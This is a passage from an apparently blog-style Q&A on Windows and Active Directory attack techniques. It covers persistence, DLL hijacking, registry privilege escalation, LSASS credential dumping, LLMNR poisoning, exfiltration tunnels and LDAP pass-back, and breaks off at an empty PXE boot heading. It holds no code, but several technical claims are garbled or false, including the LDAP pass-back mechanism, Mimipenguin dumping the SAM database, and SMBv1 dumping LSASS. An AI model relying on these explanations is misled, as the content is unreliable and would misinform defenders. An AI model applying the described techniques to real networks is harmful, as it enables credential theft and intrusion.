&lt;p&gt;One common technique used to abuse AutoLogon for privilege escalation is to use a tool like Mimikatz to extract the password from the registry and use it to elevate privileges to the user account associated with the AutoLogon feature. Attackers can then use these elevated privileges to perform malicious activities, such as installing malware or stealing sensitive information.&lt;/p&gt;

&lt;p&gt;To mitigate the risks associated with AutoLogon, it is important to follow security best practices, such as:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Disabling AutoLogon&lt;/strong&gt;: AutoLogon should be disabled in environments where multiple users have access to a computer.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Limiting user privileges&lt;/strong&gt;: Users should be assigned the minimum privileges necessary to perform their job functions.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Implementing strong password policies and two-factor authentication to prevent credential theft.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Regularly auditing and reviewing registry settings to detect unauthorized changes.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;By implementing these best practices, organizations can help prevent attackers from abusing AutoLogon for privilege escalation and other malicious activities.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-what-are-some-techniques-for-achieving-persistence-on-a-windows-machine-&quot;&gt;&lt;span style=&quot;color:#ad21ed;&quot;&gt; What are some techniques for achieving persistence on a Windows machine? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Achieving persistence on a Windows machine is a key goal for attackers, as it allows them to maintain access to the system even after a reboot or other system changes. There are several techniques that can be used to achieve persistence on a Windows machine, including:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Registry keys&lt;/strong&gt;: Attackers can modify or create registry keys to run malicious code at system startup or when a user logs in.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Scheduled tasks&lt;/strong&gt;: Attackers can create scheduled tasks that run at a specific time or when a specific event occurs, allowing them to execute malicious code on the system.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Services&lt;/strong&gt;: Attackers can create a malicious service that runs in the background and executes code at system startup or when a specific event occurs.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Startup folders&lt;/strong&gt;: Attackers can add a shortcut to a malicious file in the Startup folder, which will execute the file at system startup.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;LSA secrets&lt;/strong&gt;: Attackers can modify the Local Security Authority (LSA) secrets on the system to run malicious code at system startup.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Bootkits&lt;/strong&gt;: Attackers can install a bootkit, which modifies the boot process of the system to execute malicious code before the operating system starts.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;WMI persistence&lt;/strong&gt;: Attackers can use Windows Management Instrumentation (WMI) to create persistent objects that run malicious code at specific times or when specific events occur.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;To prevent these techniques from being used for persistence, it is important to follow security best practices, such as:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Regularly auditing and reviewing registry settings, scheduled tasks, services, and startup folders to detect unauthorized changes.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Disabling unnecessary services and scheduled tasks to reduce the attack surface.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Implementing strong password policies and two-factor authentication to prevent credential theft.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Regularly patching and updating Windows and third-party software to prevent exploitation of known vulnerabilities.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;By implementing these best practices, organizations can help prevent attackers from achieving persistence on Windows machines and maintaining access to sensitive resources.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-what-is-dll-proxying-and-how-can-it-be-used-to-execute-malicious-code-on-a-target-machine-&quot;&gt;&lt;span style=&quot;color:#1BF4DC;&quot;&gt; What is DLL proxying, and how can it be used to execute malicious code on a target machine? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;DLL proxying, also known as DLL hijacking or DLL sideloading, is a technique used by attackers to execute malicious code on a target machine by exploiting the way Windows searches for and loads dynamic-link libraries (DLLs).&lt;/p&gt;

&lt;p&gt;When a Windows application requests a DLL, Windows searches for the DLL in a specific order, starting with the application directory and then moving on to other system directories. If the DLL is not found in any of these directories, Windows will search for the DLL in the current working directory of the application.&lt;/p&gt;

&lt;p&gt;Attackers can take advantage of this behavior by placing a malicious DLL in a directory that is searched before the legitimate DLL. When the application requests the DLL, Windows will load the malicious DLL instead of the legitimate one, allowing the attacker to execute malicious code on the system.&lt;/p&gt;

&lt;p&gt;DLL proxying can be used to execute malicious code on a target machine in several ways, including:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Exploiting vulnerable software: Attackers can identify vulnerable software that searches for DLLs in an insecure way and place a malicious DLL in a directory that is searched before the legitimate DLL.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Supply chain attacks: Attackers can compromise a legitimate software vendor and replace the legitimate DLL with a malicious one.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Social engineering: Attackers can trick users into running a malicious executable that is designed to search for a vulnerable application and load a malicious DLL.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;To prevent DLL proxying attacks, it is important to follow security best practices, such as:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Applying patches and updates to vulnerable software to prevent exploitation of known vulnerabilities.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Disabling unnecessary software and services to reduce the attack surface.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Implementing strong password policies and two-factor authentication to prevent credential theft.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Regularly auditing and reviewing system directories and DLL search paths to detect unauthorized changes.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;By implementing these best practices, organizations can help prevent DLL proxying attacks and protect their systems from malicious code execution.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-how-does-the-windows-registry-work-and-what-are-some-common-registry-based-privilege-escalation-techniques-&quot;&gt;&lt;span style=&quot;color:#F68310;&quot;&gt; How does the Windows Registry work, and what are some common Registry-based privilege escalation techniques? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;The Windows Registry is a central database that stores configuration settings and other information for the Windows operating system and installed applications. The Registry is divided into several hierarchical sections, called hives, which contain keys and values that correspond to different system and application settings.&lt;/p&gt;

&lt;p&gt;The Registry plays a critical role in the functioning of Windows, and it is frequently targeted by attackers for privilege escalation. Some common Registry-based privilege escalation techniques include:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Registry key manipulation&lt;/strong&gt;: Attackers can modify Registry keys to elevate their privileges. For example, an attacker might modify the RunOnce key to execute a malicious script at system startup or modify the Userinit key to execute a malicious DLL at user logon.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Registry value hijacking&lt;/strong&gt;: Attackers can hijack a legitimate Registry value and replace it with a malicious value. For example, an attacker might modify the AppInit_DLLs value to load a malicious DLL into every process that loads user32.dll.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Service configuration manipulation&lt;/strong&gt;: Attackers can manipulate Registry keys related to services to gain elevated privileges. For example, an attacker might modify the ImagePath key to execute a malicious executable instead of the legitimate service executable.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;ACL modification&lt;/strong&gt;: Attackers can modify the Access Control Lists (ACLs) of Registry keys to grant themselves elevated privileges. For example, an attacker might grant themselves full control over a Registry key that controls system configuration settings.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;To prevent Registry-based privilege escalation, it is important to follow security best practices, such as:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Regularly auditing and reviewing Registry settings to detect unauthorized changes.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Disabling unnecessary Registry keys and values to reduce the attack surface.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Implementing strong password policies and two-factor authentication to prevent credential theft.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Applying patches and updates to prevent exploitation of known vulnerabilities.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;By implementing these best practices, organizations can help prevent Registry-based privilege escalation and protect their systems from compromise by attackers.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;-how-can-the-local-security-authority-subsystem-service-lsass-be-dumped-and-what-are-some-common-techniques-for-extracting-credentials-from-it-&quot;&gt;&lt;span style=&quot;color:#ad21ed;&quot;&gt; How can the Local Security Authority Subsystem Service (LSASS) be dumped, and what are some common techniques for extracting credentials from it? &lt;/span&gt;&lt;/h3&gt;

&lt;p&gt;The Local Security Authority Subsystem Service (LSASS) is a critical Windows process that manages security policies and credentials on a system. Attackers often target LSASS to extract credentials and escalate their privileges.&lt;/p&gt;

&lt;p&gt;LSASS can be dumped in several ways, including:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Using a tool like Mimikatz or ProcDump to dump the LSASS process memory.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Using a tool like Procdump or Dumpert to create a crash dump of the LSASS process.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Using a tool like Gsecdump or Mimipenguin to dump the SAM database from the system.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Once LSASS has been dumped, attackers can use various techniques to extract credentials, including:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Pass the hash&lt;/strong&gt;: Attackers can use the NTLM hash of a user’s password to authenticate to other systems without knowing the actual password.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Pass the ticket&lt;/strong&gt;: Attackers can use Kerberos tickets extracted from LSASS to impersonate other users and escalate their privileges.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Extract plaintext passwords&lt;/strong&gt;: Attackers can use tools like Mimikatz to extract plaintext passwords from the LSASS dump.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;To prevent LSASS attacks, it is important to follow security best practices, such as:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Applying patches and updates to prevent exploitation of known vulnerabilities.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Disabling unnecessary protocols and services, such as SMBv1, which can be used to dump LSASS.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Implementing strong password policies and two-factor authentication to prevent credential theft.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Using endpoint detection and response (EDR) solutions to monitor and detect malicious LSASS activity.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;By implementing these best practices, organizations can help prevent LSASS attacks and protect their systems from compromise by attackers.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-what-are-some-common-initial-access-methods-used-to-compromise-active-directory-environments-&quot;&gt;&lt;span style=&quot;color:#1BF4DC;&quot;&gt; What are some common initial access methods used to compromise Active Directory environments? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;There are several common initial access methods that attackers use to compromise Active Directory environments, including:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Phishing&lt;/strong&gt;: Attackers send targeted emails to users in an organization with a malicious attachment or link that, when clicked, installs malware on the user’s machine, allowing the attacker to gain access to the network.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Password spraying&lt;/strong&gt;: Attackers use a few commonly used passwords and try them against a large number of user accounts until they find one that works. Once they have access to an account, they can use it to move laterally within the network and gain access to other resources.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Exploiting vulnerable services&lt;/strong&gt;: Attackers exploit known vulnerabilities in services like RDP or SMB to gain access to a system and then use that system as a beachhead to move laterally within the network.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Brute-forcing&lt;/strong&gt;: Attackers use automated tools to guess passwords for user accounts until they find one that works.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Exploiting misconfigured or unpatched software&lt;/strong&gt;: Attackers exploit misconfigured or unpatched software to gain access to a system.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Once attackers have initial access to an Active Directory environment, they typically use various techniques to escalate their privileges and move laterally within the network, such as exploiting vulnerabilities in unpatched software or using stolen credentials to impersonate legitimate users.&lt;/p&gt;

&lt;p&gt;To prevent initial access to Active Directory environments, it is important to follow security best practices, such as:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Implementing multi-factor authentication for user accounts to prevent password spraying attacks.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Disabling unnecessary services and protocols to reduce the attack surface.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Regularly applying patches and updates to software and operating systems to prevent exploitation of known vulnerabilities.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Providing security awareness training to users to prevent them from falling victim to phishing attacks.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;By implementing these best practices, organizations can help prevent initial access to their Active Directory environments and protect their sensitive data and resources.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-how-can-llmnrnbt-ns-be-used-to-gain-initial-access-to-an-active-directory-environment-&quot;&gt;&lt;span style=&quot;color:#F68310;&quot;&gt; How can LLMNR/NBT-NS be used to gain initial access to an Active Directory environment? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;LLMNR (Link-Local Multicast Name Resolution) and NBT-NS (NetBIOS Name Service) are protocols used by Windows to resolve hostnames to IP addresses. These protocols can be used by attackers to gain initial access to an Active Directory environment through a technique known as “Responder poisoning.”&lt;/p&gt;

&lt;p&gt;Responder poisoning involves setting up a fake responder service that responds to LLMNR and NBT-NS requests with spoofed DNS responses. When a victim machine sends a name resolution request to the network, the attacker’s machine responds with a spoofed response, tricking the victim into sending their authentication credentials to the attacker’s machine.&lt;/p&gt;

&lt;p&gt;Once the attacker has the victim’s credentials, they can use them to authenticate to the victim’s machine and potentially escalate their privileges to gain access to other systems within the network.&lt;/p&gt;

&lt;p&gt;To prevent LLMNR/NBT-NS attacks, it is important to follow security best practices, such as:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Disabling LLMNR and NBT-NS on all machines within the network.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Configuring all machines to use DNS instead of LLMNR/NBT-NS for name resolution.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Implementing network segmentation to prevent lateral movement within the network.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Providing security awareness training to users to prevent them from falling victim to phishing attacks and other social engineering techniques.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;By implementing these best practices, organizations can help prevent LLMNR/NBT-NS attacks and protect their sensitive data and resources.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-what-is-the-impact-of-having-ipv6-enabled-on-an-active-directory-environments-security-posture-&quot;&gt;&lt;span style=&quot;color:#ad21ed;&quot;&gt; What is the impact of having IPv6 enabled on an Active Directory environment’s security posture? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Enabling IPv6 in an Active Directory environment can have both positive and negative impacts on its security posture.&lt;/p&gt;

&lt;p&gt;One of the positive impacts of enabling IPv6 is that it can improve network performance and scalability. IPv6 provides a larger address space than IPv4, which can help reduce the need for network address translation (NAT) and make it easier to assign unique IP addresses to all devices on the network.&lt;/p&gt;

&lt;p&gt;However, enabling IPv6 can also introduce security risks. One of the main risks is that it can create additional attack vectors for attackers to exploit. Many security tools and techniques that are effective against IPv4 may not be effective against IPv6, which can make it harder to detect and prevent attacks.&lt;/p&gt;

&lt;p&gt;Some specific security risks associated with IPv6 in an Active Directory environment include:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Address scanning&lt;/strong&gt;: Attackers can scan the network for IPv6 addresses and use them to launch attacks, such as port scanning and vulnerability scanning.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Traffic sniffing&lt;/strong&gt;: IPv6 traffic is not encrypted by default, which means that attackers can potentially sniff network traffic to steal sensitive data, such as authentication credentials.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Firewall misconfigurations&lt;/strong&gt;: IPv6 requires different firewall rules than IPv4, and misconfigured firewalls can create security holes that attackers can exploit.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Misconfigured DNS&lt;/strong&gt;: IPv6 introduces new DNS record types, and misconfigured DNS settings can cause traffic to be routed to unintended destinations.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;To mitigate the security risks of enabling IPv6 in an Active Directory environment, it is important to follow security best practices, such as:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Regularly auditing and reviewing IPv6-related settings and configurations.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Ensuring that all security tools and techniques are updated to support IPv6.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Disabling unnecessary IPv6 features and services to reduce the attack surface.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Implementing network segmentation to prevent lateral movement within the network.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;By following these best practices, organizations can help mitigate the security risks of enabling IPv6 in their Active Directory environments and protect their sensitive data and resources.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-list-and-detail-the-stealthy-data-exfiltration-methods-used-in-red-team-engagements-&quot;&gt;&lt;span style=&quot;color:#1BF4DC;&quot;&gt; List and detail the stealthy Data Exfiltration methods used in red team engagements &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;In red team engagements, data exfiltration is often a key objective for the attacker. To avoid detection, attackers use various stealthy data exfiltration methods that make it difficult for security teams to detect and prevent the attack.&lt;/p&gt;

&lt;p&gt;Some of the most common stealthy data exfiltration methods used in red team engagements include:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Covert channels&lt;/strong&gt;: Attackers can use covert channels, such as DNS or ICMP, to hide data in otherwise legitimate network traffic. This makes it difficult for security teams to detect the exfiltration because the traffic appears to be normal network traffic.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Steganography&lt;/strong&gt;: Attackers can use steganography techniques to hide data within image or audio files. This makes it difficult for security teams to detect the exfiltration because the files appear to be harmless.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Data obfuscation&lt;/strong&gt;: Attackers can use data obfuscation techniques to modify the data they are exfiltrating to make it difficult for security teams to recognize it as sensitive data. For example, they can encrypt the data, split it into smaller chunks, or modify the file format.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Protocol manipulation&lt;/strong&gt;: Attackers can manipulate network protocols to bypass security controls and exfiltrate data. For example, they can use HTTP requests to send data to a command and control (C2) server in a way that looks like normal web traffic.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Encrypted tunnels&lt;/strong&gt;: Attackers can use encrypted tunnels, such as SSH or VPNs, to exfiltrate data without being detected. The encrypted traffic appears as normal network traffic, making it difficult for security teams to detect the exfiltration.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;To prevent stealthy data exfiltration in red team engagements, it is important to follow security best practices, such as:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Implementing network segmentation to prevent lateral movement within the network.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Monitoring network traffic for anomalies and suspicious behavior.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Regularly auditing and reviewing network configurations and access controls.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Providing security awareness training to employees to prevent them from falling victim to phishing attacks and other social engineering techniques.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;By implementing these best practices, organizations can help prevent stealthy data exfiltration and protect their sensitive data and resources.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-expand-upon-the-protocol-manipulation-list-them-all-comprehensively-cover-them-&quot;&gt;&lt;span style=&quot;color:#F68310;&quot;&gt; Expand upon the Protocol Manipulation, list them all comprehensively cover them &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Protocol manipulation is a technique used by attackers to bypass security controls and exfiltrate data without being detected. Attackers can manipulate network protocols to make their data exfiltration activities appear like normal network traffic. The following are some of the most common types of protocol manipulation used in red team engagements:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Domain Name System (DNS) tunneling&lt;/strong&gt;: DNS tunneling is a technique used to bypass firewalls and other security controls that block certain types of traffic. In DNS tunneling, attackers use DNS queries and responses to send and receive data. The data is encoded in the DNS requests and responses, making it difficult for security controls to detect.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Hypertext Transfer Protocol (HTTP) tunneling&lt;/strong&gt;: HTTP tunneling is a technique used to bypass firewalls and other security controls that block certain types of traffic. In HTTP tunneling, attackers use HTTP requests and responses to send and receive data. The data is encoded in the HTTP requests and responses, making it difficult for security controls to detect.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Transmission Control Protocol (TCP) tunneling&lt;/strong&gt;: TCP tunneling is a technique used to bypass firewalls and other security controls that block certain types of traffic. In TCP tunneling, attackers use TCP connections to send and receive data. The data is encoded in the TCP packets, making it difficult for security controls to detect.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;User Datagram Protocol (UDP) tunneling&lt;/strong&gt;: UDP tunneling is a technique used to bypass firewalls and other security controls that block certain types of traffic. In UDP tunneling, attackers use UDP packets to send and receive data. The data is encoded in the UDP packets, making it difficult for security controls to detect.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Dynamic Host Configuration Protocol (DHCP) tunneling&lt;/strong&gt;: DHCP tunneling is a technique used to bypass firewalls and other security controls that block certain types of traffic. In DHCP tunneling, attackers use DHCP messages to send and receive data. The data is encoded in the DHCP messages, making it difficult for security controls to detect.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Simple Mail Transfer Protocol (SMTP) tunneling&lt;/strong&gt;: SMTP tunneling is a technique used to bypass firewalls and other security controls that block certain types of traffic. In SMTP tunneling, attackers use SMTP messages to send and receive data. The data is encoded in the SMTP messages, making it difficult for security controls to detect.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;To prevent attackers from using protocol manipulation to exfiltrate data, it is important to implement network segmentation to prevent lateral movement within the network. Security teams should also monitor network traffic for anomalies and suspicious behavior. Regular auditing and review of network configurations and access controls can also help to prevent protocol manipulation attacks.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-expand-upon-the-encrypted-tunnels-list-them-all-comprehensively-cover-them-&quot;&gt;&lt;span style=&quot;color:#ad21ed;&quot;&gt; Expand upon the Encrypted Tunnels, list them all comprehensively cover them &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Encrypted tunnels are a type of stealthy data exfiltration method used by attackers to bypass security controls and exfiltrate data without being detected. Encrypted tunnels can be used to send data securely over a network, making it difficult for security teams to detect the exfiltration. The following are some of the most common types of encrypted tunnels used in red team engagements:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Virtual Private Networks (VPNs)&lt;/strong&gt;: A VPN is a secure, encrypted connection between two devices over the internet. VPNs are commonly used to provide remote workers with secure access to company resources. In a red team engagement, attackers can use VPNs to create a secure tunnel to a command and control (C2) server and exfiltrate data without being detected.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Secure Shell (SSH)&lt;/strong&gt;: SSH is a network protocol that provides secure, encrypted communication between two devices. SSH is commonly used to access remote systems securely. In a red team engagement, attackers can use SSH to create a secure tunnel to a C2 server and exfiltrate data without being detected.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Secure Sockets Layer (SSL)/Transport Layer Security (TLS)&lt;/strong&gt;: SSL and TLS are cryptographic protocols used to secure internet communication. They are commonly used to encrypt data in transit, such as web traffic. In a red team engagement, attackers can use SSL/TLS to create a secure tunnel to a C2 server and exfiltrate data without being detected.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Internet Protocol Security (IPsec)&lt;/strong&gt;: IPsec is a protocol suite used to secure internet communication. IPsec can be used to create secure tunnels between two devices over the internet. In a red team engagement, attackers can use IPsec to create a secure tunnel to a C2 server and exfiltrate data without being detected.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Datagram Transport Layer Security (DTLS)&lt;/strong&gt;: DTLS is a variant of TLS that is designed to secure datagram-based applications. DTLS is commonly used to secure Voice over IP (VoIP) and video conferencing applications. In a red team engagement, attackers can use DTLS to create a secure tunnel to a C2 server and exfiltrate data without being detected.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Point-to-Point Tunneling Protocol (PPTP)&lt;/strong&gt;: PPTP is a VPN protocol used to create secure tunnels between two devices over the internet. PPTP is an older VPN protocol that is not as secure as newer protocols like SSL/TLS and IPsec. However, it can still be used by attackers to create a secure tunnel to a C2 server and exfiltrate data without being detected.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;To prevent attackers from using encrypted tunnels to exfiltrate data, it is important to monitor network traffic for anomalies and suspicious behavior. Security teams should also regularly audit and review network configurations and access controls to ensure that only authorized users have access to sensitive data and resources.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-how-can-ldap-pass-back-be-used-to-gain-access-to-an-active-directory-environment-&quot;&gt;&lt;span style=&quot;color:#1BF4DC;&quot;&gt; How can LDAP Pass Back be used to gain access to an Active Directory environment? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;LDAP Pass-Back, also known as LDAP “Connectionless” Binding, is a technique used by attackers to gain access to an Active Directory environment by abusing the Lightweight Directory Access Protocol (LDAP). It involves sending an LDAP authentication request to a domain controller with a spoofed source IP address, such that the response is sent back to the spoofed IP address rather than the attacker’s real IP address. This allows the attacker to authenticate as a legitimate user without the domain controller logging the authentication attempt.&lt;/p&gt;

&lt;p&gt;Once the attacker has gained access to the Active Directory environment using this technique, they can perform a number of actions, such as performing reconnaissance, creating new accounts, modifying permissions, and accessing sensitive data.&lt;/p&gt;

&lt;p&gt;To prevent LDAP Pass-Back attacks, it is important to monitor network traffic for anomalies and suspicious behavior. Domain controllers should be configured to log authentication attempts, and administrators should regularly review the logs for any signs of suspicious activity. It is also recommended to disable LDAP anonymous binding and enforce the use of secure LDAP (LDAPS) to encrypt LDAP traffic. Implementing network segmentation and access controls can also limit the attack surface and prevent lateral movement within the network. Additionally, it is important to keep all systems and software up to date with the latest security patches and updates to prevent known vulnerabilities from being exploited.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-how-can-pxe-boot-be-used-to-gain-access-to-an-active-directory-environment-&quot;&gt;&lt;span style=&quot;color:#F68310;&quot;&gt; How can PXE Boot be used to gain access to an Active Directory environment? &lt;/span&gt;&lt;/h2&gt;

